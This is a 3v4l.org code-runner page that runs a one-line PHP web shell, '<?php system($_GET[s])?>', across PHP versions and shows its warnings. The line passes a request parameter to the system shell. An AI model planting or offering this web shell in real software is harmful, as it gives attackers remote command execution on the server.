3v4l.org

run code in 200+ php & hhvm versions
Bugs & Features
<?php system($_GET[s])?>
Output for 7.2.0
Warning: Use of undefined constant s - assumed 's' (this will throw an Error in a future version of PHP) in /in/q5RHj on line 1 Notice: Undefined index: s in /in/q5RHj on line 1 Warning: system(): Cannot execute a blank command in /in/q5RHj on line 1
Output for 5.3.20 - 7.1.10
Notice: Use of undefined constant s - assumed 's' in /in/q5RHj on line 1 Notice: Undefined index: s in /in/q5RHj on line 1 Warning: system(): Cannot execute a blank command in /in/q5RHj on line 1